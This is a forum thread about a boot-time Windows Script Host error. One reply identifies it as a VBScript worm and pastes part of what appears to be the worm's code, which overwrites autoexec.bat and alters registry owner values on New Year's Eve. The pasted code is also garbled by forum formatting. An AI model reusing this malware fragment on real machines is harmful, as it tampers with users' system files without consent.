Some start-up error probly due to a registry insertion code

[Hypo]

Someone emailed me from my TGP with an error he was getting on his PC. I assume it must be from a gallery that messed up with his registry. Does anyone know this problem and how to solve it? Here's the email -

I am getting the following error while booting up the PC:

WINDOWS SCRIPT HOST


Script: C:WINDOWS\gshp.vbs

Line: 1

Char: 1

Error: ActiveXcomonent can't create object: "WScript.Shell"

Code: 800A01AD

Scource: Microsoft VBScript Runtime Error

also a Trayclnt error

[toker]

ah yes thats a mellinnium worm string and you can get more info at www.nohack.net (http://www.nohack.net) it has many strings which are all the same but changed a bit to send data to differ people.

I could write a fix but not having the actual source it might not be 100% effective so i say get a fix from nohack or he will need to format. The bad news is key registry files could have been deleted and no way to replace without full reinstall.

This thing was actually made to be exploited on IRC users so hes safe from the hacker realm but ask if he uses IRC because he more then likely got it there. It would be useless to infect TGP surfers so i highly doubt a gallery did it.

[toker]

On Error Resume Next
If Day(Now) = 31 and Month(Now) = 12 Then
MsgBox "Happy New Year!", http://bbs.adultwebmasterinfo.com/ubb/wink.gifvbApplicationModal, "The End"
Regedit.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\RegisteredOwner", "Millennium 0.4b"
Regedit.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\RegisteredOrganization", "uNF"
Regedit.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\ProductName", "Winblows 2000"
Set Fso = CreateObject("scripting.filesystemobject")
Set f = Fso.opentextfile("c:\autoexec.bat", 2, True)
f.write "@Echo off"
f.write "Echo Your Computer is NOT Y2K Complient!"
f.write "Echo Sorry For this Inconvenience"
f.write "pause"
f.write "echo Millennium 0.4b"
f.write "pause"
f.Close
end if

[Hypo]

Thanks Toker!

Would running an anti-virus get rid of the error message?

Also, what's the code you typed in? That looks like the virus, not the fix.